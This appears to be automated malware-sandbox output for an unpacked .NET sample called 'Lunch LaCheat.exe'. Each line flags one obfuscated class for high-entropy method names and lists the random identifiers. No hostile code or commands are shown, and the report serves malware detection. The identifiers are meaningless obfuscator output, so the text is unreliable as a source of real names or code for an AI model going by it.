Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, B0aWXNMnlXn2BLGMp6h.cs High entropy of concatenated method names: 'sg9', 'Ulq51Ji3mp', 'AJXZLAKlpa', 'thE5H3BDVC', 'sTtO0B3ZeCiOkoYtyRi', 'fAqy4B3a2PsP4Csb2GE', 'vtMweA3SARa1hcsJZst', 'OiSpfI3dk3Lt4obXW8F', 'AJuwmF344OoGZRVvedm', 'YawJpm3sYwIUgtktTEe'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, gI07OVUv4aW9pt78401.cs High entropy of concatenated method names: 'wsB8tf822i', 'VUf8UA23TH', 'dQj8XeOEdi', 'LwO8w8sMco', 'sR58JxMG3p', 'kfR8ZR3xYr', 'fmk82qvu9R', 'riu8B4g1M9', 'kQk86mZJwj', 'RKe85rMYEe'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ruGDE8wHCs1LugFJYDC.cs High entropy of concatenated method names: 'kB38y8dk5oW2xdKQBrP', 'G6ZbBJdgUO6CLx48d5K', 'dDPudsdxa6pJGbmnmKi', 'b0GZXwdH7ygfxCFOP1w', 'BkAGPB7unW', 'oZOOPmdb3qMR2OdZTra', 'N4YP0Cd1iuhaXhBVh26', 'NS4jk6dO3LJwCCJHcdh', 'cjeMFidvcwPeWVu3eAE', 'G4SHC9dLD6xHeQMsvhm'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, zjoE3wqcjVQABWnuZwJ.cs High entropy of concatenated method names: 'LDwqLbeMqa', 'bU33lM9CY6QbqkUuSXQ', 'edxOpB9puVMW4WRBXYU', 'u2okGP9MG0fEDvWvjeu', 'kDPEj09ExKrMrEl81QS', 'dv3GOp9o4yBpxyypgav', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, nldwCqME01ywJTeITCX.cs High entropy of concatenated method names: 'oYo', '_1Z5', 'v0e5Yer2Yh', 'gGg2tdWOIW', 'hBV53OseBt', 'cuvwY2tiF6T0xlmhlRC', 'DbBHZOtP9vQ03rGX3cr', 'zyxEwctXsbdURV0wraa', 'T257FqtW9ce8SpJEWSC', 'SFoZ3ZtwJPZTejL75Gm'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, jVQRA9qILNDR4ueVNdL.cs High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'oktDTryxsKvOiykeSyp', 'aSXGyWyHbHVuvujaXVW', 'j9DsnTykvOXD7VqlgNy', 'VsEnKxygPhd1RbnlKLC', 'f2ttHIyjk17CiWnkXlh', 'LBdBwxyFOHpWMnIyeFy'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ykUT5HnIRnmAOVRT6X.cs High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'eY2MbUB0PecUyh3V2wW', 'd8pkn0BAPJITW9DDqcq', 'Tv5aE7BR4L0wAL8jA7R', 'mMPINVBiepktgJ302Pr', 'M4gHVpBP6fZUQTFsMM1', 'cPKUSUBX6ioO9PN9JUd'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, zy6GHpNEirDwbeMqaG.cs High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'YfPN9GIe92ZZpZ9hmoH', 'ADWV0RIdwoLO8FWq0Ir', 'c0DhSCI4rJqavKqnUCf', 'wHH5RqIZVucg3SkrGbq', 'pujxo0IaN1clKxhtVbC', 'XqoEwiISvg6R27NyE7H'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, j8yowCfSyTNdR3Qg4Jh.cs High entropy of concatenated method names: 'z4DMLvf7yf', 'zwLMk4iAhK', 'IYjjs7PluGqUdZbLiIU', 'o2O2kGPrC5Li2fny4MT', 'onGWsrPDJhjoSEs4QKE', 'ECpQQ1PNIZyjHTTKWXl', 'skwvxXP31xojtFQeYcO', 'OUkWPoPtURsH0OCLxTV', 'SVewE2Px9vtFQksqGyF', 'jJ24xJPHrOK9SaMtxTS'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, X1FXHctVq7kE4pJRmYh.cs High entropy of concatenated method names: 'LkY51lKamo', 'apE59apTLb', 'l185p0gr7V', 'oNr5ddQGeP', 'v1x5c60a9L', 'Uuty8tkM18wp61hrkDf', 'VeRQjGkEHw3Q8asgmVu', 'Fbw6jrkvF7gtX0xJpVa', 'lC0gFckLZ18puOV2AUc', 'AMtCArkCcB6NLMt5FHW'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, XfZ5nTqO2eBgWgje4xu.cs High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'sTi4UqyGRJftkS1ZHnt', 'aNQkoEyzVITyOnD7t8F', 'X8PHJDq5Jo8W1Z56NsX', 'JnVY21qcxIgQ4hFRZVs', 'lyvonuqnw8f7bxLb3DN', 'vVOG7WqQl5pajghAZns'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Lt3DSvqMxZcQ5oZBmim.cs High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'ti108i6bPMh7NNdD0Fg', 'gVVhxC61nmmPWuhSTk4', 'DQbUm86OGZcdm3KKjFo', 'KRhhys6vb76PXjs3uIn', 'gJmdVq6LVSYWZoOx71F', 'HOeuRI6MHyj8SAiueEi'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Jb85v1sq6IWCtQ7Vqu.cs High entropy of concatenated method names: '_0023C', 'IndexOf', '_0023D', 'Insert', '_0023E', 'RemoveAt', '_0023F', 'get_Item', '_0023G', 'set_Item'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, vK3PiltUTHMLVDrDT8n.cs High entropy of concatenated method names: 'FBr6S3mhmp', 'mvGkoXHmahBtZ5DeyAP', 's3yI1IHlnbYWQ0cDjsW', 'tubhBvHwJMxNiUtCSoD', 'f06gDqHfv0377bFQKfj', 'tXv20oib2p', 'TDc2G9dTCL', 'wwZ2bbYM8P', 'edZ214Srfu', 'q8N29cRarq'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, q8LHkBqBZc0BmxvQWYH.cs High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'dc2h7s7l2bZ7ac2bgs5', 'XXkXrf7r24Mh4osJaef', 'BJKaqZ7DZBiopasUQXP', 'vOvdmP7NkIm7avuOprL', 'lb9aJS73vL1Cn8CVhEV', 'O9TKQq7t156fMSeGKyv'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, VwsI0eXAjxgDO5eO946.cs High entropy of concatenated method names: 'PJ1', 'jo3', 'QhACZG1nuJ', 'gnxC2qDR75', 'xgbCBXBdC6', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, z8gUbRX871YUO6KvEjH.cs High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ix9Miew8MmrhPUW6iG7.cs High entropy of concatenated method names: 'A7EGRZWto2', 'MlUG8wO8sA', 'zjHGhA80h0', 'k1tGOFYPLo', 'H8kGetCy2q', 'cIMGa7LTR1', 'yQLGCpAmy2', 'nkHG0qyIkQ', 'h4SGGYebre', 'lokGbybUQ7'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ctiO1aUb80GXStvVQ3f.cs High entropy of concatenated method names: 'sFTRYKjJvv', 'YFXRl2LSuZ', 'igKRvQ9RUr', 'aKNRNk5oQf', 'KGWRiMrEoo', 'q2hRL9enh2', 'vNOWsDCZGATwrY8gMq6', 'PJwbB8CdW955LNt4iEj', 'rvCMDxC4DFbmX1a1HI4', 'CaATkkCauyj44NtKGXO'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, nhbQX4wTCE0caeKIHB.cs High entropy of concatenated method names: 'EQXH4TCE0', 'Yi8356vripC8ilFp0f', 'SSvq0R1MYTyTJUTY0G', 'HWNHdtOUXBWVAWXdIX', 'L0xsrELxFiDu0W9bFR', 'AiWZ4IMeVAmJ4F6jb1', 'OIIfH6Xm7', 'qkJML7FH5', 'wxltexwLw', 'mafUaGdQV'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Yarf2vfPQwRKas0dOld.cs High entropy of concatenated method names: 'YcBMNnVE0A', 'bFKFfAPQdJqDSLdxsRN', 'Ui04YvPBQas2ifmOoHO', 'FOsO4HPc1PT3R8IgsnS', 'VKZ4elPnV1yPfUV0Mae', 'sBfOimPIjyexNZHuxP8', 'LsGyCqP6Y0Sw1YbN2SJ', 'Ga87hZP7Iypv8oK2YEZ', 'j6PrYqPyXHrUnWoAJsd', 'mwpOhCPqk5ZNWH9xbCN'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, RSx3mxln0wS0orPm0E.cs High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'l2h1jXIjN1EHXRcdH8S', 'o2Ni80IFl7jUaGDcfSK', 'AVxZQ1IbsIs8ixlkEH7', 'rvguNmI1uOZvsnpN8hn', 'yiOQn9IOE4VjSvBjfxx', 'TZRaJjIvBLBitp2ap4b'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Au6u9NXX2BPw1dlx1cN.cs High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Thw6BMqwvwHF16riBkP.cs High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'DXXyLe6YjtAoUAlR400', 'IsQInp6JBBf6Bax69i9', 'RrgwEw62ZWLWR5FdqKm', 'nJmgoR68sn0tOY8nH2p', 'YDje1g6GePELr76Akld', 'UkWNYr6z9qJd2t0UiHX'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, OKOFf3AyEOTeQ8sF02.cs High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'HHARG2BfYWdYMpdL3vl', 'yqnvCRBmK9is93gbZw5', 'RAdw8XBlerWmPNMHejV', 'tBcVD7BrGUwGmKKlW1U', 'V53aXFBDCHnwZbTRin8', 'fjI1qBBN3EMlGrTwMVj'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, iWMFUTm5Qgip1Z9i3E.cs High entropy of concatenated method names: 'f1HRteHcI', 'KLh84nVgP', 'wkfh2Pa3I', 'Tp5OiNLJJ', 'tybeBsmlv', 'FegawM7Yt', 'Ku0CqOYbu', 'PKpGNPcyg7aCyWqRSYn', 'pV5Pahcqqo1MKYaLtGX', 'RpdF43c9ENdB4rxPv91'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, suwuZqqUaCC4bv2jsNt.cs High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'sAHwBF6dCOL3BN4shTu', 'dLDqJK64nHlexilVgsx', 'yJLm8S6Za6VXOQa402f', 'aIAlpp6ade7u8qbGyOX', 'PSKl916S7BgsIc6XHEM', 'KOA13J6sJdCf3N482rU'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, bUKS09MsXqrMAhvIgjN.cs High entropy of concatenated method names: 'LVkZ7ydJL1', 'RXHZgcq7kE', 'spJZSRmYhS', 'nYPaFINUATgOmD2wdj3', 'avDaptNhqOKZG3eGdIL', 'OR93XGNT6Xj1A8YDkQk', 'KmXl6UNecbQwCXrqvXN', 'yJ6ZXvuweT', 'CvGZw7UVGr', 'JyaZJQgawe'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, r1Nd7VMgjpfgH8UhQxo.cs High entropy of concatenated method names: 'CQFJxOA333', 'GPlJFtAkWb', 'twOJQmTxvP', 'zFOKUnDdD04qbhNC0yh', 'WHPR53D4h4jXhm4myGP', 'RDpdGxDZmn1Zwm7je4L', 'AtyTDdDavXYI4CjUynr', 'rsElwBDSV37y8BAOoeX', 'nYNKVTDsrCsQdvXY4Ar', 'MwpeOGDVh3NZsXZT7X7'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Fioc1Eq5kI2Wt8Yw2K3.cs High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'pe8Y567gq5BdfHvRsHG', 'fycxlI7jSB8cgfDGNOp', 'jCO1mL7FZccHMJ3VyCm', 'kIkAFj7bdSYdMSAh8Np', 'kar2iO71X55aoCpyS4x', 'enfFTM7OVdnv3amTJ84'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, dVUBQucrV6vLHbsrlB.cs High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'Sx2g3IQEkNSyapVAdBm', 'ptGwXiQCWH9aZxJjeOS', 'R6XEt4Qpghm4myNgS0A', 'EnaSu1Qo508gWs5LXdV', 'oZdGeGQuOnEbNesrKRw', 'nDI3xxQhPTyyaEyjr35'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, bWvKHFeX1fCoZwKOW0.cs High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'D4idk5n0rHxOIMbXBpD', 'j99aY5nAJp7JVUikfi0', 'kjbyW8nROFsLNZpHQJ6', 'jTMKvkniuyvkpf3VChZ', 'YZHjornPXX4SAkLd81W', 'slmX5gnXcGpNtg8Lc7I'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, gKJnY3fffZyAJh7UTXY.cs High entropy of concatenated method names: 'RUNfjSb3Gb', 'qYlfxlZg75', 'SwJfFiM21b', 'z65fQeKRl3', 'jvXfYxaNYC', 'NTOflNCx0T', 'JFajgeRfh54h82epLwk', 'IXH5CyRmGleZOV1rM2I', 'Q73ZJmRWIuIR6u6KGDB', 'Od9WKuRwpETgG1aBejd'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, v1H9NwqEOJDUB1tm5YX.cs High entropy of concatenated method names: 'NKxfBJ9gEb', 'z1Tf6PI5PK', 'WyaLBQ0AmR8piRUljVY', 'xAvxBW09gEq0CG7AUy3', 'JgGt2K00mDjaXfxpECQ', 'CYkRpL0RaLhodWbkQKH', 'HnjsTg0i36s9WZlKYfM', 'L03M900P13ChX4MvafH', 'TIpof00XSGngI1vTvvj', 'SF0ZoB0WgDTwMsMjVcH'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Fnr6ywMQNBPcTXUFQeh.cs High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'IT02B0NaA8', 'Qjt5q4hF13', 'Cyo2606ER3', 'vko5IrU3jc', 'sDiMNXtp85QCCZP79fg', 'rsYW6lto7dgftD01ift', 'r0Su44tE2uY5h1WWjtd'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, wqRwrbX1J1I0lijql3J.cs High entropy of concatenated method names: 'qyJ5TjUBrcELHDypRVR', 'okjImSUIpVSNypJkCGa', 'LULUEqUnkXXGocgk3ky', 'mRBREgUQCPKKyohB9iq', 'qjpO9d8jf1', 'WM4', '_499', 'lYROp9AR7q', 'xQjOdZft1Z', 'TfaOc8KN6Z'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, SnxHSTqDkQ0SnKZtlax.cs High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 's6IhVny5iCelJ8n2iZ5', 'bMhYt5yciBLIP5L6eew', 'CX02B3ynMkPf0nmVUtp', 'oMPJH7yQv8t8cvAnt4I', 'NXqCtlyB1LE0DFyDUv4', 'EsokVRyI9Xb9FF5MMqS'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, zmTxvPtB3JXpW99rT2g.cs High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, nKFhZaGINSnlIuOGr6.cs High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'oU4K1Tb85', 'Dj5REmnlY70lckCAcCY', 'qqChvVnrHb4tv0pesFG', 'hJsE6fnDqDqZAxYKs03', 'eCPPmMnNVMOi2NJ8FYU', 'lIaM53n3hgmj0mlweVl'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, MZcSW5XFnMZt2tTbkg5.cs High entropy of concatenated method names: 'Aj5CmemkBa', '_1kO', '_9v4', '_294', 'qpbCu8eZ1t', 'euj', 'MOiCRpBV8q', 'AeaC8rGIAN', 'o87', 'lb1Cho7prW'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, WWqZNXK75NEoPq9OON.cs High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'QNjyldQJYfb7F6L0bLM', 'ssMcBqQ2AgGWB1IgPnB', 'o2aqMYQ8P280noQTDmF', 'GSCGFYQGOiA1roIXyaY', 'PI3mSKQz1S28VLSo76D', 'dKVWDhB5Pf6DTg4wcVp'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, mVPDZufZM2W7mkK879j.cs High entropy of concatenated method names: 'J2UMbVjRB6', 'wLOM18f94l', 'bRDM9RQIua', 'FCCMpiX6Rh', 'zCuMdgCvtb', 'VVjMcclkjW', 'cmGMTsVGNs', 'WvRvtyixcFHmYmeLPBl', 'vecaksi3AcyP4Q2SSkc', 'B21HkIitdPNVhIQbKia'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, jnVE0AqQ75AvvmYSO4D.cs High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'NEOdEQ0O8F4GBDd9q3v', 'ANwRux0vVtbqoP3mbIo', 'bf7KUY0LWWhMWRwFqNq', 'dTeDGm0MtXA15BKAT4q', 'MBV3610Ee14N1BUI0C4', 'IauNtu0CQvuFhNmEbxV'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, GXbGVUq9ec7tQ7QY4FA.cs High entropy of concatenated method names: 'CorqlPm0EZ', 'dbCT6b9xt4SIjwGcTpo', 'Cc23qw9Hqw51fELBEUP', 'YqP1vO93KQCXtLglce7', 'qKypAP9tH44l4i9GFWP', 'Ut14gR9kUUP4DYoGUC0', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, S4xuYYf4VvkDUfoJrma.cs High entropy of concatenated method names: 'KmItHy8RCX', 'hfvtP2Yevb', 'fKgfm6XxBJm57GNKGjt', 'gkZKx3XHYrOWnbe0sTQ', 'vhEvxIX37eiiOpQw5vM', 'cdE2eEXtTCVwNauLgZc', 'JCtPOqXku8GaQnNosNH', 'erP1AoXgwSSZCm0IOnB', 'S1qVpaXj6TCm7j3DOi9', 'oFfOsFXFEYwfmI07iEk'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, spviIXXITu8HiQLRydd.cs High entropy of concatenated method names: 'K20h4TKijO', 'P5uhVdQO1L', 'pn4hIRSyqM', 'ERehmlw0LM', 'wtphusGQWs', 'cLQyeou26FrYqdVs4PA', 'kwTChXu8ZTKPtB0WkkT', 'zkRfCquGBv3XTY00Tcp', 'yqmxEJuznAIeCmuCpIQ', 'jVq0sjh5xhViu2lD1ig'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, bjx4PUMNvrbRTipVjsL.cs High entropy of concatenated method names: 'bSGuPSxCqQx8COVogUR', 'IZdvcXxpbntIBs2jPE1', 'wde6TExMAm1KLhlWrIY', 'IqpQkRxEW58S5H1aEn6', 'IWF', 'j72', 'hdI2ScsE9M', 'FTh2DLjhNr', 'j4z', 'APh23kPe0K'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, DNSXGhMxb8hbaZ3ZyOl.cs High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'bHN5MRYiSF', '_168', 'YE1x18tHjJndhXtjI9G', 'Es2Tc8tk1D98Hs9mLfo', 'mjdPxOtgNK89UKGrREt', 'MqejK6tjvtqcoqfFc80', 'rUdYc2tFBN5Bu275YvO'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, mGRo5IqgkpbCevtLJw4.cs High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'HlnkvJ7VPsCs6ZsASYh', 'YaUZWc7KWWp7fikmkBL', 'mFT2oW7Y3Kmq8Aaa870', 'T044587JtvcIy7SB7hw', 'PEtD9772RffA43EytyE', 'nCuIXI781myahKHrcWj'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, n5BLl0zub6q1E6cKtB.cs High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'Tr9Fr96QgZuIYdCN7KJ', 'h0hgxw6BnAWv6j2DTTg', 'hrl1Np6I3KlBF7Fw5PU', 'CxNYl1662OsmSNJRpj2', 'KwCnSn67Df9xTZgkGCj', 'bhXF276yG03fALrguhy'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, d1Ms4CUYfOkEyT4rV8O.cs High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, zyKIFSUOvZVd5nfJLNC.cs High entropy of concatenated method names: 'qmhRTovydL', 'MDgRKRD95d', 'oPLRrjc0QR', 'I4ZRnSZmWU', 'EflRWEh8pQ', 'BShREYCj3FSd17ynq3w', 'M1aqNuCkx4yqBE7nkZQ', 'XhX3gfCgCHt5HO7OYOE', 'wlZqSiCFub9p6BpSV8G', 'kk00a4CbebRhf5yS9E1'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, wiSwb7XyiTFNRrZRITR.cs High entropy of concatenated method names: 'P7f8owehxD', 'oer8EZtJhj', 'UaU8jJEEsk', 'b3M8xOxYte', 'XYR8FBIV12', 'CCe8Qhns0d', '_838', 'vVb', 'g24', '_9oL'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, LyW9xXtR93TyJkM7URN.cs High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'wqRHywrbJ1', '_3il', 'u0lHqijql3', 'gNKHfvtbRv', '_78N', 'z3K'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, JLb518Xu0gr7VgNrdQG.cs High entropy of concatenated method names: 'IGD', 'CV5', 'yo0hR4v39K', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, zWT2AgqN8s5bxJgQo4x.cs High entropy of concatenated method names: 'LU4fsRYhw6', 'koYq7XA6VkFOldRJlt5', 'ccRkdYA7c8aLwhFmU7A', 's94O9bABd6YMGKmZJR3', 'spfTZbAIiNkRdF5jqg4', 'kwVPm9AysBEtBOyjXnq', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, Sb38j9M5TwPKU5E3N8P.cs High entropy of concatenated method names: '_223', 'ObchL9DfKqx2y8KPI5B', 'zjyL8gDmB4BA5tX7Sfy', 'AwD8o0Dl8nau0GJDmZc', 'KcrNg3DrrGXhKKACSCj', 'doGS2gDDLcw7qKJHgUc', 'BGYtIMDNCUM0F2OihNl', 'KNcso5D3h3X9yXtwoPg', 'EWsr58DtvoPG6EmKuHn', 'hUx1kPDxpqXCnZMBpOj'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, hYxb1wtLnXrN0rRtimV.cs High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, I9vhRHquCQ0uLDtMftj.cs High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'm6JOx8yMVT2AMFy8MY0', 'iN5JtyyE8TQ2EHIq3IW', 'abuNRQyCZQ2s77Z74kO', 'UocsYxypvl32uvLQbW3', 'nU3W9ryo2MCKBXibePA', 'Pj5imPyuBcytTng08QB'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ckfw2rtlq8EL44wGQV0.cs High entropy of concatenated method names: 'rsKPLncwwW', 'L6sP9D7GLP', 'MY3PpHxxvt', 'DxqPdKmpmu', 'BmxPcxeGN8', 'KNWPTCeMTY', 'UR2PKMeayj', 'EiKPrlj1Li', 'yVFPnZuxop', 'BO6PW9RhMe'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, diijDZfkEAwvm72umcW.cs High entropy of concatenated method names: 'CsNw8U53TQ', 'lJPbMhmS8Ct7f7ZO0ZG', 'yD6n0FmZlZeDciG0APA', 'OeK0bpmaqdd0OZNZgDw', 'oVKeupms4HPDKNBNLGA', 'Sbvr4MmVIw5cXP5kZdL', 'mmFw3GkEYg', 'sEAwshq5Hq', 'Db9w47p6oR', 'waSwV8Ztq9'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, w22xDBMq7bbo3Ga2veg.cs High entropy of concatenated method names: 'a1vwCr4fti', 'H9mw0we9aC', 'H0awGgssIu', 'yMIwbRkDE9', 'WYHFxumzDsJZ9jDMjSS', 'jEYH21m8eJJ0NNVD1em', 'Yvp70SmGvJRg5At98tT', 'wyuwNBl5bUYGD9NeyHR', 'DttIPmlcBQFUZdNx5p9', 'U98xMblnDjicSGj2F1B'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, whZPVLpQKsuh7sYp2i.cs High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'usrtRen8XF05jgBeSKi', 'iA6vWdnGYWrQkMlHeC4', 'l7OCiwnzMUcQmb87Osk', 'nC8VUBQ5xMr7HXTLLeK', 'uhMiPYQcaVJ4N9J6BUD', 'xMoQmfQnNypsK1NrACC'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, U9iiGtqq03BTIAdKv3Z.cs High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'MWp64P6l3ipq2GQuntq', 'NKk4Cp6rF0ol1VXhsFw', 'qMa3Jf6DVGAjhyhE3Gk', 'CQ7w8K6NJoBOIue0qoV', 'W5ZNGH63RabL7XgnpOX', 'ciHJmY6t1kLtuVC1IHH'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, a8RCXJfyfv2YevbKcJy.cs High entropy of concatenated method names: 'B1if86EUeO', 'S19fhnlUDc', 'q8LfOHkBZc', 'i8PI4bAvDM9b9C1Xgh1', 'Cjs6HFALJ6AotLk64Gn', 'k7tPmVAMa10WT9riQZC', 'RK6pTsAE4SL2ivvxpdm', 'A6du3SACOq2v6xgKLiP', 'Jh5fROApOWD9HUyQRqh', 'VakGRmA1KCKrxMSk1r5'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, HhoQgiQALbTCJrMygA.cs High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'QiiUNSIXBAa3MTvUOCu', 'FMZ4lwIWh3SWU7SMwhc', 'Dvab0iIwYdJln3b6nk9', 'QBsabpIfvHk0tYu8ngM', 'CGH9NqImjKdoJaB95FM', 'MjsYO4Ilq6RGO1ZSVb9'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, COtroIUMm4eTIhOVxcs.cs High entropy of concatenated method names: 'TuZJLpv3X3ZUXuQfMa8', 'DF0hVAvt5o5TjW3LAAV', 'CbpBQ2vDPJtbSFjQn9Q', 'K06NIQvNmxcx4okoToY', 'pU54RJwarE', 'qNaD9IvkyZLLLSYXZ2n', 'VaPEBQvglhuPkTng7gV', 'IN55Q0vxkE4ufGioIQp', 'oqy7ePvHEFuZLvApOym', 'CwS4T7vjvRGJ6EdnGY3'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, vf0yC3MIHlCBxsJ9ID0.cs High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'tpM09X3i2kDDKar9Dx1', 'Jf8Z0S3PleVt01dPpCm', 's3WKbg3X3ht23eatxyW', 'zs5Vnd3WtIuHS3SNqll'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, DNaNPDq8ZrMGeZQIvVs.cs High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'E8lgLoy4DIupouCkFA4', 'qfMJ48yZiBo1MF6E6xD', 'Dnsdi7yadExYH8nmDvK', 'aaZ2GJySG17b0RKM8v6', 'ruelhNys0Mlegy5yhFb', 'EmpKriyV2eww67jAxOj'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, yDct3lUiBGykwYgZyNe.cs High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'Ywp8uokPlx', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
